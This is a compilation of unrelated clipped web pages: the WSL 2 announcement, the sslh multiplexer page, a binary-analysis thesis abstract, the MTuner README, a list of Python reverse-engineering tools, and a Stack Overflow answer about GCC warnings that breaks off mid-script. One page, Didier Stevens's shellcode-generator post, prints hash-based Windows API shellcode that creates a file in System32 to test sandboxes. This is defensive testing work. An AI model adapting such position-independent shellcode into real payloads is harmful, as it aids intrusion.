# Announcing WSL 2

<img src='img/Temp2_846.png' width='58' height='58' />

Craig

May 6th, 2019

Today we’re unveiling the newest architecture for the Windows Subsystem for
Linux: WSL 2\! Changes in this new architecture will allow for: dramatic file
system performance increases, and full system call compatibility, meaning you
can run more Linux apps in WSL 2 such as Docker.

# What exactly is WSL 2?

Our top requests from the WSL community have been to increase the file system
performance, and make more apps work inside of WSL \(i.e: introduce better
system call compatibility\). We have heard your feedback, and are glad to
announce that WSL 2 helps solve these issues.

WSL 2 is a new version of the architecture that powers the Windows Subsystem
for Linux to run ELF64 Linux binaries on Windows. This new architecture
changes how these Linux binaries interact with Windows and your computer’s
hardware, but still provides the same user experience as in WSL 1 \(the
current widely available version\). Individual Linux distros can be run either
as a WSL 1 distro, or as a WSL 2 distro, can be upgraded or downgraded at any
time, and you can run WSL 1 and WSL 2 distros side by side. WSL 2 uses an
entirely new architecture that uses a real Linux kernel.

# Microsoft will be shipping a Linux kernel with Windows

Yes, you did just read that heading correctly\! We will be shipping a real
Linux kernel with Windows that will make full system call compatibility
possible. This isn’t the first time Microsoft has shipped a Linux kernel, as
we have already shipped one in 2018 when we announced Azure Sphere. However,
this will be the first time a Linux kernel is shipped with Windows, which is a
true testament to how much Microsoft loves Linux\! We’ll be building the
kernel in house from the latest stable branch, based on the source available
at kernel.org. In initial builds we will ship version 4.19 of the kernel.

This kernel has been specially tuned for WSL 2. It has been optimized for size
and performance to give an amazing Linux experience on Windows. We will
service this Linux kernel through Windows updates, which means you will get
the latest security fixes and kernel improvements without needing to manage it
yourself.

Lastly, of course this Linux kernel will be fully open source\! When we
release WSL 2 we will have the full configuration available online on Github,
so you can see how it works and build it yourself. If you’d like to read more
about this kernel you can check out this blog post written by the team that
built it.

# A quick explanation of the architectural changes in WSL 2

WSL 2 uses the latest and greatest in virtualization technology to run its
Linux kernel inside of a lightweight utility virtual machine \(VM\). However,
WSL 2 will NOT be a traditional VM experience. When you think of a VM, you
probably think of something that is slow to boot up, exists in a very isolated
environment, consumes lots of computer resources and requires your time to
manage it. WSL 2 does not have these attributes. It will still give the
remarkable benefits of WSL 1: High levels of integration between Windows and
Linux, extremely fast boot times, small resource footprint, and best of all
will require no VM configuration or management.

Here’s a quick demo of WSL 2 in action. When we start our distro we get access
to a working bash shell in under two seconds, and can run services and apps
like docker right away. To summarize: while WSL 2 does use a VM, it will be
managed and run behind the scenes leaving you with the same user experience as
WSL 1.

<img src='img/runwsl.gif' width='1120' height='958' />

You can expect more detail on the exact changes to the architecture posted to
this blog in the near future, so please stay tuned\!

# How much faster is WSL 2?

File intensive operations like `git clone`, `npm install`, `apt update`, `apt
upgrade`, and more will all be noticeably faster. The actual speed increase
will depend on which app you’re running and how it is interacting with the
file system. Initial tests that we’ve run have WSL 2 running up to **20x
faster** compared to WSL 1 when unpacking a zipped tarball, and around 2-5x
faster when using git clone, npm install and cmake on various projects. We’re
looking forwards to seeing speed comparisons from the community when we
release\!

# Full System Call Compatibility

Linux binaries use system calls to perform many functions such as accessing
files, requesting memory, creating processes, and more. In WSL 1 we created a
translation layer that interprets many of these system calls and allows them
to work on the Windows NT kernel. However, it’s challenging to implement all
of these system calls, resulting in some apps being unable to run in WSL 1.
Now that WSL 2 includes its own Linux kernel it has full system call
compatibility. This introduces a whole new set of apps that you can run inside
of WSL. Some exciting examples are the Linux version of Docker, as well as
FUSE\!

Using WSL 2 means you can also get the most recent improvements to the Linux
kernel much faster than in WSL 1, as we can simply update the WSL 2 kernel
rather than needing to reimplement the changes ourselves.

WSL 2 will be a much more powerful platform for you to run your Linux apps on,
and will empower you to do more with a Linux environment on Windows.

# Release details

Initial builds of WSL 2 will be available through the Windows insider program
by the end of June 2019.

We will be announcing when the initial release is available right here on this
blog, as well as on Twitter. You can follow the WSL team on Twitter below,
where you can ask us questions and get more updates on everything WSL.

WSL Team members on Twitter:

  * Taylor Brown @Taylorb\_msft
  * Yosef Durr @yosefdurr
  * Sven Groot @svengroot\_ms
  * Ben Hillis @benhillis
  * Craig Loewen @craigaloewen
  * Sunil Muthuswamy @SunilMut
  * Brian Perkins
  * Palkesh Soni @sonipalkesh
  * John Starks @gigastarks
  * Craig Wilhite @CraigWilhite
  * Kayla Cinnamon @cinnamon\_msft

Thank you so much for your support. We can confidently say that WSL would not
be what it is today without its amazing community, and as always, we look
forwards to hearing your valued feedback about the new WSL\!

-The WSL Team
<img src='img/Temp2_846.png' width='96' height='96' />

##### Craig Loewen

Program Manager, Windows Developer Platform

**Follow Craig**  __ __

# ssl/ssh multiplexer

**Created:**| _7/30/2013 8:07:11 AM_  
---|---  
**Updated:**| _7/30/2013 8:07:11 AM_  
**Author:**| __  
**Tags:**| _ssl proxy ssh_  
  

# **s** slh - Applicative protocol multiplexer****

## What is it**?**

_sslh_ accepts connections on specified ports, and forwards them further based
on tests performed on the first data packet sent by the remote client**.**

Probes for HTTP, SSL, SSH, OpenVPN, tinc, XMPP are implemented, and any other
protocol that can be tested using a regular expression, can be recognised**.**
A typical use case is to allow serving several services on port 443 \(e**.**
g. to connect to ssh from inside a corporate firewall, which almost never
block port 443\) while still serving HTTPS on that port**.**

Hence sslh acts as a protocol demultiplexer, or a switchboard**.** Its name
comes from its original function to serve SSH and HTTPS on the same port**.**

_sslh_ supports IPv6, privilege dropping, transparent proxying, and more**.**

## Install me\!

_sslh_ has been packaged for Debian , Gentoo , FreeBSD  and many other
operating systems, so check out your favourite package repository before
installing by hand**.** Do note that packaged version often are outdate, so
check the change log for bug fixes and new features if you run into problems.

You can compile _sslh_ for Cygwin 1**.** 7 \(older version will not work\), or
download the binary version provided below by Arnaud Gendre**.** You will need
at least cygwin1.dll installed, and maybe the entire Cygwin package**.**

## Mailing list****

Announcements of new versions will be posted on the sslh mailing list **.**
This list can also be used to discuss usage, request features and so on**.**
Traffic is expected to be low \(a dozen mail a year on average\)**.** It will
be further split into a "discussion" list and an "announcement" list if
required**.**

## Git repository****

_sslh_ is managed in Git and pushed to Github **.** Patches and new features
will be pushed there, probably long before they make it into actual
releases..**.**

## Get it\!

sslh 1**.** 15

     Cygwin binary  \[Includes DLLs necessary to run without a full install of Cygwin\]
  * Added --transparent option for transparent proxying**.** See README for iptables magic and capability management**.**
  * Fixed bug in sslh-select: if number of opened file descriptor became bigger than FD\_SETSIZE, bad things would happen**.**
  * Fixed bug in sslh-select: if socket dropped while defered\_data was present, sslh-select would crash**.**
  * Increased FD\_SETSIZE for Cygwin, as the default 64 is too low for even moderate load**.** Thanks to Arnaud Gendre and Michael K. Avanessian for helping with investigation of the last three points**.**

sslh 1**.** 14 \(AE\)

     Source   
Cygwin binary  \[Includes an additional patch that'll be in sslh-1**.** 15 and
Cygwin libraries\]

  * Corrected OpenVPN probe to support pre-shared secret mode \(OpenVPN port-sharing code is..**.** wrong\)**.** Thanks to Kai Ellinger for help in investigating and testing**.**
  * Added an actual TLS/SSL probe**.**
  * Added configurable --on-timeout protocol specification**.**
  * Added a --anyprot protocol probe \(equivalent to what \--ssl was\)**.**
  * Makefile respects the user's compiler and CFLAG choices \(falling back to the current values if undefined\), as well as LDFLAGS**.** \(Michael Palimaka\)
  * Added "After" and "KillMode" to systemd.sslh.service \(Thomas Weißschuh\)**.**
  * Added LSB tags to etc.init**.** d.sslh \(Tomas Varil\)**.**

sslh 1**.** 13

    
  * Write PID file before dropping privileges**.**
  * Added --background, which overrides 'foreground' configuration file setting**.**
  * Added example systemd service file from Archlinux in scripts/ https://projects.archlinux.org/svntogit/community.git/tree/trunk/sslh.service**?** h=packages/sslh \(Sébastien Luttringer\) 

sslh 1**.** 12

    
  * Added support for configuration file**.**
  * New protocol probes can be defined using regular expressions that match the first packet sent by the client**.**
  * sslh now connects timed out connections to the first configured protocol instead of 'ssh' \(just make sure ssh is the first defined protocol\)**.**
  * sslh now tries protocols in the order in which they are defined \(just make sure sslh is the last defined protocol\)**.**

sslh 1**.** 11

    
  * WARNING: defaults have been removed for --user and \--pidfile options, update your start-up scripts**\!**
  * No longer stop sslh when reverse DNS requests fail for logging**.**
  * Added HTTP probe**.**
  * No longer create new session if running in foreground**.**
  * No longer default to changing user to 'nobody'**.** If \--user isn't specified, just run as current user**.**
  * No longer create PID file by default, it should be explicitely set with --pidfile**.**
  * No longer log to syslog if in foreground**.** Logs are instead output to stderr**.**
  * The four changes above make it straightforward to integrate sslh with systemd , and should help with launchd **.**

sslh 1**.** 10

    
  * Fixed calls referring to sockaddr length so they work with FreeBSD**.**
  * Try target addresses in turn until one works if there are several \(e**.** g**.** "localhost:22" resolves to an IPv6 address and an IPv4 address and sshd does not listen on IPv6\)**.**
  * Heavily cleaned up test suite**.** Added stress test t\_load script**.** Added coverage \(requires lcov\)**.**
  * Support for XMPP \(Arnaud Gendre\)**.**
  * Updated README.MacOSX \(Aaron Madlon-Kay\)**.**

sslh 1**.** 9

    
  * WARNING: 1**.** 9 does not currently work on FreeBSD and derivatives \(such as MacOSX\)**.** The problem is identified and will be corrected shortly**.**
  * WARNING: Options changed, you'll need to update your start-up scripts**\!** Log format changed, you'll need to update log processing scripts**\!**
  * Now supports IPv6 throughout \(both on listening and forwarding\) 
  * Logs now contain IPv6 addresses, local forwarding address, and resolves names \(unless --numeric is specified\)**.**
  * Introduced long options**.**
  * Options -l, -s and -o replaced by their long counterparts**.**
  * Defaults for SSL and SSH options suppressed \(it's legitimate to want to use sslh to mux OpenVPN and tinc while not caring about SSH nor SSL\)**.**
  * Bind to multiple addresses with multiple -p options**.**
  * Support for tinc VPN \(experimental\)**.**
  * Numeric logging option**.**

sslh 1**.** 8

    
  * Changed log format to make it possible to link connections to subsequent logs from other services**.**
  * Added single-threaded, select\(2\)-based version**.**
  * Added -o "OpenVPN" and OpenVPN probing and support**.**
  * Added support for "Bold" SSH clients \(clients that speak first\) Thanks to Guillaume Ricaud for spotting a regression bug**.**
  * Updated CentOS init**.** d script \(Andre Krajnik\)**.**
  * Fixed zombie issue with OpenBSD \(The SA\_NOCLDWAIT flag is not propagated to the child process, so we set up signals after the fork**.**\) \(François FRITZ\) 
  * Added -f "foreground" option**.**
  * Added test suite**.** \(only tests connexions**.** No test for libwrap, setsid, setuid and so on\) and corresponding 'make test' target**.**
  * Added README.MacOSX \(thanks Aaron Madlon-Kay\) 
  * Documented use with proxytunnel and corkscrew in README**.**

sslh 1**.** 7

    
  * Added CentOS init**.** d script \(Andre Krajnik\).
  * Fixed default ssl address inconsistancy, now defaults to "localhost:443" and fixed documentation accordingly \(pointed by Markus Schalke\)**.**
  * Children no longer bind to the listen socket, so parent server can be stopped without killing an active child \(pointed by Matthias Buecher\)**.**
  * Inetd support \(Dima Barsky\)**.**

sslh 1**.** 6

    
  * Added -V, version option**.**
  * Install target directory configurable in Makefile**.**
  * Changed syslog prefix in auth.log to "sslh\[%pid\]"
  * Man page
  * new 'make install' and 'make install-debian' targets
  * PID file now specified using -P command line option
  * Actually fixed zombie generation \(the v1**.** 5 patch got lost, doh\!\)

sslh 1**.** 5

    
  * Added libwrap support for ssh service \(Christian Weinberger\) 
  * Fixed zombie generation**.**
  * Added support scripts, Makefile**.**

sslh 1**.** 3

    
  * Added parsing for local interface to listen on \(e**.** g.: -p 192.168.0**.** 3:443\)
  * Changed default SSL connexion to port 442 \(443 doesn't make sense as a default as we're already listening on 443\)
  * Syslog incoming connexions

sslh 1**.** 2

    
  * Fixed compilation warning for AMD64**.**

sslh 1**.** 1

sslh 1**.** 0

## Inspiration****

This feature was already implemented as a Perl script , but it lacked many
features to be mature**.**

****

# Gogul Balakrishnan > Research > Thesis

**Created:**| _11/18/2012 8:19:29 AM_  
---|---  
**Updated:**| _11/18/2012 8:19:29 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification bookmark system analysis_  
  

# Gogul Balakrishnan > Research > Thesis

  
WYSINWYX: What You See Is Not What You eXecute  
Gogul Balakrishnan  
Thesis available as: PDF  
**Abstract:**

There is an increasing need for tools to help programmers and security
analysts understand executables. For instance, commercial companies and the
military increasingly use Commercial Off-The Shelf \(COTS\) components to
reduce the cost of software development. They are interested in ensuring that
COTS components do not perform malicious actions \(or can be forced to perform
malicious actions\). Viruses and worms have become ubiquitous. A tool that
aids in understanding their behavior can ensure early dissemination of
signatures, and thereby control the extent of damage caused by them. In both
domains, the questions that need to be answered cannot be answered perfectly
---the problems are undecidable---but static analysis provides a way to answer
them conservatively.

In recent years, there has been a considerable amount of research activity to
develop analysis tools to find bugs and security vulnerabilities. However,
most of the effort has been on analysis of source code, and the issue of
analyzing executables has largely been ignored. In the security context, this
is particularly unfortunate, because performing analysis on the source code
can fail to detect certain vulnerabilities due to the WYSINWYX phenomenon:
"What You See Is Not What You eXecute". That is, there can be a mismatch
between what a programmer intends and what is actually executed on the
processor.

Even though the advantages of analyzing executables are appreciated and well-
understood, there is a dearth of tools that work on executables directly. The
overall goal of our work is to develop algorithms for analyzing executables,
and to explore their applications in the context of program understanding and
automated bug hunting. Unlike existing tools, we want to provide useful
information about memory accesses, even in the absence of debugging
information. Specifically, the dissertation focuses on the following aspects
of the problem:

  * Developing algorithms to extract intermediate representations \(IR\) from executables that are similar to the IR that would be obtained if we had started from source code. The recovered IR should be similar to that built by a compiler, consisting of the following elements: \(1\) control-flow graphs \(with indirect jumps resolved\), \(2\) a call graph \(with indirect calls resolved\), \(3\) the set of variables, \(4\) values of pointers, \(5\) sets of used, killed, and possibly-killed variables for control-flow graph nodes, \(6\) data dependences, and \(7\) types of variables: base types, pointer types, structs, and classes. 
  * Using the recovered IR to develop tools for program understanding and for finding bugs and security vulnerabilities. 

The algorithms described in this dissertation are incorporated in a tool we
built for analyzing Intel x86 executables, called CodeSurfer/x86.

Because executables do not have a notion of variables similar to the variables
in programs for which source code is available, one of the important aspects
of IR recovery is to determine a collection of variable-like entities for the
executable. The quality of the recovered variables affects the precision of an
analysis that gathers information about memory accesses in an executable, and
therefore, it is desirable to recover a set of variables that closely
approximate the variables of the original source-code program. On average, our
technique is successful in identifying correctly over 88% of the local
variables and over 89% of the fields of heap-allocated objects. In contrast,
previous techniques, such as the one used in the IDAPro disassembler,
recovered 83% of the local variables, but 0% of the fields of heap-allocated
objects.

Recovering useful information about heap-allocated storage is another
challenging aspect of IR recovery. We propose an abstraction of heap-allocated
storage called recency-abstraction, which is somewhere in the middle between
the extremes of one summary node per malloc site and complex shape
abstractions. We used the recency-abstraction to resolve virtual-function
calls in executables obtained by compiling C++ programs. The recency-
abstraction enabled our tool to discover the address of the virtual-function
table to which the virtual-function field of a C++ object is initialized in a
substantial number of cases. Using this information, we were able to resolve,
on average, 60% of the virtual-function call sites in executables that were
obtained by compiling C++ programs.

To assess the usefulness of the recovered IR in the context of bug hunting, we
used CodeSurfer/x86 to analyze device-driver executables without the benefit
of either source code or symbol-table/debugging information. We were able to
find known bugs \(that had been discovered by source-code analysis tools\),
along with useful error traces, while having a low false-positive rate.

# milostosic/MTuner

**Created:**| _9/4/2017 9:22:36 AM_  
---|---  
**Updated:**| _9/4/2017 9:22:36 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

<img src='img/13763_logo.png' width='888' height='208' alt='MTuner logo' />

<img
src='img/68747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f666f39757939683362636b6132306b6b3f7376673d74727565'
width='106' height='20' alt='Build status' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4253442d2d32253230636c617573652d626c75652e737667'
width='130' height='20' alt='License' /> <img
src='img/687474703a2f2f697369746d61696e7461696e65642e636f6d2f62616467652f7265736f6c7574696f6e2f6d696c6f73746f7369632f4d54756e65722e737667'
width='128' height='20' alt='Average time to resolve an issue' /> <img
src='img/687474703a2f2f697369746d61696e7461696e65642e636f6d2f62616467652f6f70656e2f6d696c6f73746f7369632f4d54756e65722e737667'
width='106' height='20' alt='Percentage of issues still open' />

**MTuner** is a C/C++ memory profiler and memory leak finder for Windows, PS4,
PS3, etc.

**MTuner** utilizes a novel approach to memory profiling and analysis, keeping
entire time-based history of memory operations. This gives an unique insight
in memory related behavior of your software by making queries over the entire
data set.

<img src='img/mtuner_screenshot.png' width='888' height='500' alt='MTuner
screenshot' />

# Source Code

You can get the latest source code by cloning it from github:

[code]

      git clone https://github.com/milostosic/MTuner.git 
    
[/code]

# Dependencies

MTuner uses Qt framework for user interface.

Dependencies can be obtained by cloning the following repositories:

[code]

    git clone https://github.com/milostosic/build.git
    git clone https://github.com/milostosic/rbase.git
    git clone https://github.com/milostosic/rdebug.git
    git clone https://github.com/milostosic/rmem.git
    git clone https://github.com/milostosic/rqt.git
    git clone https://github.com/milostosic/MTunerCmd.git
    git clone https://github.com/milostosic/MTunerDLL.git
    git clone https://github.com/milostosic/MTunerInject.git
    
[/code]

DIA \(Debug Interface Access\) SDK - **Windows only**

[code]

    git clone https://github.com/milostosic/DIA.git 
    
[/code]

# Download

<img src='img/687474703a2f2f6d74756e65722e6e65742f7a69702e706e67.png'
width='32' height='32' /> **zip**  
<img src='img/687474703a2f2f6d74756e65722e6e65742f6d73692e706e67.png'
width='32' height='32' /> **msi**

# Build

After cloning the repository and dependencies, here are the steps to build
MTuner.

**MinGW**

[code]

    $ cd MTuner/genie
    $ genie --gcc=mingw-gcc gmake
    $ cd ../../.build/windows/mingw-gcc/projects/MTuner
    $ make
    
[/code]

MINGW environment variable must be set and point to the MinGW installation
directory.  
Tested with TDM64 MinGW using OpenMP package

**Visual Studio**

[code]

    > cd MTuner/genie
    > genie vs2015
    
[/code]

Solution will be located here: _\{Clone
root\}/.build/windows/vs2015/projects/MTuner/MTuner.sln_

# Documentation

Documentation is currently hosted on MTuner website.  
Starting page of documentation is here

# Support development

**MTuner** is free and will remain so but there's plenty more features and
polish to do.  
Consider donating to support the ongoing development and maintenance of
**MTuner**

Monthly donations:  
<img
src='img/68747470733a2f2f73332d75732d776573742d312e616d617a6f6e6177732e636f6d2f70617472656f6e2d7265776172642d696d616765732f313533373730312e706e67.png'
width='211' height='70' />

One time donations:  
<img
src='img/68747470733a2f2f7777772e70617970616c6f626a656374732e636f6d2f7765627374617469632f6d6b74672f6d65726368616e745f706f7274616c2f627574746f6e2f646f6e6174652e656e2e706e67.png'
width='228' height='44' />

For private support and similar requests, please contact the author - see
below.

# Author

The author of **MTuner** is Milos Tosic  
<img src='img/13757_twitter.png' width='24' height='24' /> <img
src='img/13765_linkedin.png' width='24' height='24' /> <img src='img/mail.png'
width='24' height='24' />

# License \(BSD 2-clause\)

<img
src='img/687474703a2f2f6f70656e736f757263652e6f72672f74726164656d61726b732f6f70656e736f757263652f4f53492d417070726f7665642d4c6963656e73652d313030783133372e706e67.png'
width='100' height='137' />

[code]

    Copyright (c) 2017 Milos Tosic. All rights reserved.
    
    https://github.com/milostosic/MTuner
    
    Redistribution and use in source and binary forms, with or without
    modification, are permitted provided that the following conditions are met:
    
       1. Redistributions of source code must retain the above copyright notice,
          this list of conditions and the following disclaimer.
    
       2. Redistributions in binary form must reproduce the above copyright
          notice, this list of conditions and the following disclaimer in the
          documentation and/or other materials provided with the distribution.
    
    THIS SOFTWARE IS PROVIDED BY COPYRIGHT HOLDER ``AS IS'' AND ANY EXPRESS OR
    IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
    EVENT SHALL COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
    INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
    (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
    LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
    ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
    THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
    
[/code]

  

# Byte Magazine Volume 08 Number 08 - The C Langu...

**Created:**| _3/24/2015 2:38:10 PM_  
---|---  
**Updated:**| _3/24/2015 2:38:10 PM_  
**Author:**| __  
**Tags:**| _C_  
  

GO

Byte Magazine Volume 08 Number 08 - The C Language

<img
src='https://ia701205.us.archive.org/BookReader/BookReaderImages.php?zip=/26/items/byte-
magazine-1983-08/1983_08_BYTE_08-08_The_C_Language_jp2.zip&file=1983_08_BYTE_08-08_The_C_Language_jp2/1983_08_BYTE_08-08_The_C_Language_0047.jp2&scale=2&rotate=0'
/> <img
src='https://ia701205.us.archive.org/BookReader/BookReaderImages.php?zip=/26/items/byte-
magazine-1983-08/1983_08_BYTE_08-08_The_C_Language_jp2.zip&file=1983_08_BYTE_08-08_The_C_Language_jp2/1983_08_BYTE_08-08_The_C_Language_0048.jp2&scale=2&rotate=0'
/>

&nbsp;

# Python arsenal for RE

**Created:**| _10/2/2013 3:10:37 PM_  
---|---  
**Updated:**| _10/2/2013 3:10:37 PM_  
**Author:**| __  
**Tags:**| _bookmark python_  
  

# **P** ython arsenal for RE****

##### Androguard****

##### apkjet****

##### AsmJit-Python****

##### BeaEnginePython****

##### Binwalk****

##### bochs-python-instrumentation****

##### Buggery****

##### Ctypes****

##### cuckoo****

##### Darm****

##### Deviare****

##### diabind****

##### dislib****

##### diStorm****

##### elfesteem****

##### Elfparsing****

##### Fino****

##### FrASM****

##### F cont**.**

##### Frida****

##### hexrays-python****

##### HookMe****

##### IDAPython****

##### ImmLIB****

##### libbap****

##### libdisassemble****

##### lldb****

##### llvmpy****

##### Macholib****

##### Miasm****

##### Netzob****

##### ollydbg2-python****

##### OllyPython****

##### PDBparse****

##### PEEL****

##### pefile****

##### PIDA****

##### P cont**.**

##### PinPy****

##### ProcessTap****

##### py-eresi****

##### pyasm****

##### pyasm2****

##### Pybag****

##### PyBFD****

##### PyBox****

##### PyCodin****

##### pydasm****

##### Pydb****

##### PyDBG****

##### PyDbgEng****

##### pydbgr****

##### PyDevTools****

##### pydot****

##### pydusa****

##### PyEA****

##### P cont**.**

##### PyELF****

##### Pyelftools****

##### PyEMU****

##### pyew****

##### pygdb****

##### pygdb2****

##### pyHIEW****

##### pykd****

##### Pylibemu****

##### pylibscizzle****

##### pyMem****

##### pymsasid****

##### pype32****

##### pyREtic****

##### PyRevEng****

##### PySTP****

##### pysymemu****

##### python-adb****

##### P cont**.**

##### python-haystack****

##### python-ptrace****

##### PythonGdb****

##### pytracer****

##### PyVEX****

##### PyVMI****

##### pywindbg****

##### radapy****

##### ramooflax****

##### uhooker****

##### Vivisect****

##### vtrace****

##### WinAppDbg****

##### Z3-python****

##### Z3Py****

****

# simple-shellcode-generator.py « Didier Stevens

**Created:**| _9/23/2011 11:42:33 AM_  
---|---  
**Updated:**| _9/23/2011 11:42:33 AM_  
**Author:**| __  
**Tags:**| _shellcode python programming_  
  

### simple-shellcode-generator.py

Filed under: My Software — Didier Stevens @ 9:04  

To help the attendees of my Brucon White Hat Shellcode workshop, I wrote a new
program to generate simple shellcode. I’m releasing it now.

People regularly ask me for malware so they can test their security setup.
First, that’s a bad idea, and second, you can do without.

Why is using malware a bad idea? It’s dangerous and not reliable. Say you use
a trojan to test your sandbox. You notice that your machine is not
compromised. But is it because your sandbox contained the trojan, or because
the trojan failed to execute properly? It might surprise you, but there’s a
lot of unreliable malware out in the wild.

So how can you reliably test your sandbox without risking infection, or even
worse, have malware escape into your corporate network? Just use simple
shellcode that creates a file in a location your sandbox should prevent, like
system32.

To generate this shellcode with simple-shellcode-generator.py, create a text
file \(call it createfile.def\) with these 2 lines:

`1`| `kernel32.dll CreateFileA str 0x0 0x0 0x0 0x2 0x80 0x0`  
---|---  
`2`| `kernel32.dll CloseHandle eax`  
---|---  
Each line in this definition file instructs the generator to generate
assembler code to lookup the address of the WIN32 API function, and to call it
with the arguments you provide. The first column defines the dll that contains
the function to call, the second column is the actual API function, and the
rest are arguments to this function. The arguments you provide are copied
literally into the generated assembler code, except for 3 keywords.  
Keyword int is used to represent any DWORD, it will result in the generation
of a push 0×0.  
Keyword str is used to reserve space for a string, and the address of the
string is used as argument.  
Keyword pint is user to reserve space for a DWORD, and the address of the
DWORD is used as argument.

To generate our shellcode, issue this command:

simple-shellcode-generator.py -o createfile.asm createfile.def

This generates the following assembler code:

`01`| `; Shellcode generated by simple-shellcode-generator.py`  
---|---  
`02`| `; Generated for NASM assembler (http://www.nasm.us)`  
---|---  
`03`| `; https://DidierStevens.com`  
---|---  
`04`| `; Use at your own risk`  
---|---  
`05`| `;`  
---|---  
`06`| `; History:`  
---|---  
`07`| `; 2011/09/23: generated`  
---|---  
`08`|  
---|---  
`09`| `BITS 32`  
---|---  
`10`|  
---|---  
`11`| `KERNEL32_HASH equ 0x000D4E88`  
---|---  
`12`| `KERNEL32_NUMBER_OF_FUNCTIONS equ 2`  
---|---  
`13`| `KERNEL32_CREATEFILEA_HASH equ 0x00067746`  
---|---  
`14`| `KERNEL32_CLOSEHANDLE_HASH equ 0x00067E1A`  
---|---  
`15`|  
---|---  
`16`| `segment .text`  
---|---  
`17`| ` ``call geteip`  
---|---  
`18`| `geteip:`  
---|---  
`19`| ` ``pop ebx`  
---|---  
`20`|  
---|---  
`21`| ` ``; Setup environment for kernel32.dll`  
---|---  
`22`| ` ``lea esi, [KERNEL32_FUNCTIONS_TABLE-geteip+ebx]`  
---|---  
`23`| ` ``push esi`  
---|---  
`24`| ` ``lea esi, [KERNEL32_HASHES_TABLE-geteip+ebx]`  
---|---  
`25`| ` ``push esi`  
---|---  
`26`| ` ``push KERNEL32_NUMBER_OF_FUNCTIONS`  
---|---  
`27`| ` ``push KERNEL32_HASH`  
---|---  
`28`| ` ``call LookupFunctions`  
---|---  
`29`|  
---|---  
`30`| ` ``; call to CreateFileA`  
---|---  
`31`| ` ``push 0x0`  
---|---  
`32`| ` ``push 0x80`  
---|---  
`33`| ` ``push 0x2`  
---|---  
`34`| ` ``push 0x0`  
---|---  
`35`| ` ``push 0x0`  
---|---  
`36`| ` ``push 0x0`  
---|---  
`37`| ` ``lea eax, [STRING1-geteip+ebx]`  
---|---  
`38`| ` ``push eax`  
---|---  
`39`| ` ``call [KERNEL32_CREATEFILEA-geteip+ebx]`  
---|---  
`40`|  
---|---  
`41`| ` ``; call to CloseHandle`  
---|---  
`42`| ` ``push eax`  
---|---  
`43`| ` ``call [KERNEL32_CLOSEHANDLE-geteip+ebx]`  
---|---  
`44`|  
---|---  
`45`| ` ``ret`  
---|---  
`46`|  
---|---  
`47`| `%include "sc-api-functions.asm"`  
---|---  
`48`|  
---|---  
`49`| `KERNEL32_HASHES_TABLE:`  
---|---  
`50`| ` ``dd KERNEL32_CREATEFILEA_HASH`  
---|---  
`51`| ` ``dd KERNEL32_CLOSEHANDLE_HASH`  
---|---  
`52`|  
---|---  
`53`| `KERNEL32_FUNCTIONS_TABLE:`  
---|---  
`54`| `KERNEL32_CREATEFILEA dd 0x00000000`  
---|---  
`55`| `KERNEL32_CLOSEHANDLE dd 0x00000000`  
---|---  
`56`|  
---|---  
`57`| `STRING1: db "String 1", 0`  
---|---  
You can replace “String 1″ on line 57 with the file you want to create:
“C:\Windows\System32\testfile.txt”.

This shellcode uses the library sc-api-functions.asm you can find in my
shellcode repository.

Download:

simple-shellcode-generator\_V0\_0\_1.zip \(https\)  
MD5: 3A6D00C6EBC1F20589C952817174653E  
SHA256: FEFD4059810DA7855CC3CBC6A198FD75607C4F7B7B2F71817689E1520B454C58

# What is the best command-line tool to clean up code? - Stack Overflow

**Created:**| _5/9/2009 11:18:47 AM_  
---|---  
**Updated:**| _5/9/2009 11:19:13 AM_  
**Author:**| __  
**Tags:**| _C code-checks_  
  

As Dan Fego pointed out, GCC can catch unused variables and unused static
functions. It won't normally find unused extern functions as it normally works
one source file at a time.

GCC \(v4.3.2\) has hundreds if not thousands of options. One that might help
is '`--combine`' to combine source files \(as long as you're not in the habit
of putting the same function or variable names inside different source
files\).

The option '`--help`' tells you more; the options '`--help=optimizers`' and
'`--help=warnings`' each give you a couple hundred lines of output. The
warnings include:

[code]

    -Wunused                    This switch lacks documentation  
    -Wunused-function           Warn when a function is unused  
    -Wunused-label              This switch lacks documentation  
    -Wunused-macros             Warn about macros defined in the main file that  
                                are not used  
    -Wunused-parameter          Warn when a function parameter is unused  
    -Wunused-value              Warn when an expression value is unused  
    -Wunused-variable           Warn when a variable is unused  
    
[/code]

* * *
 _Added_ : this is a script called `glint` that I use to sanitize my code. It
is quite old so it doesn't use the '`#!/bin/sh`' notation for the first line
and it says '`$*`' instead of '`"$@"`', both of which should be fixed, but
neither needs to be fixed urgently. Note that even though GCC 4.x no longer
supports the '`-fwriteable-strings`' option, it still supports the '`-Wwrite-
strings`' option and that has value.

This script demonstrates that you can get a lot of mileage out of existing
tools with just a small amount of work. You can configure just about every
option it uses - albeit mainly via the environment rather than the command
line. Of course, you can add extra warning options to the command line; what
you can't do is remove predetermined options except via the environment. But
that's OK; they're chosen by default for good reasons. These days, I'd
probably set '`GLINT_ANSI=-std=c99`' or fix the script; I've not been using it
much of late since I code fairly closely to the standard that `glint`
enforces. \(Note that the '`-o /dev/null`' means that you can only do one file
at a time; hack to fix\!\)

[code]

    :   "@(#)$Id: glint.sh,v 1.5 2002/08/09 21:40:52 jleffler Exp jleffler $"  
    #  
    #   Use GCC as excruciatingly pedantic lint  
    #   Not a complete replacement for lint -- it doesn't do inter-file checking.  
    #   Now configurable via the environment.  
    #   Use GLINT_EXTRA_FLAGS to set extra flags via the environment.  
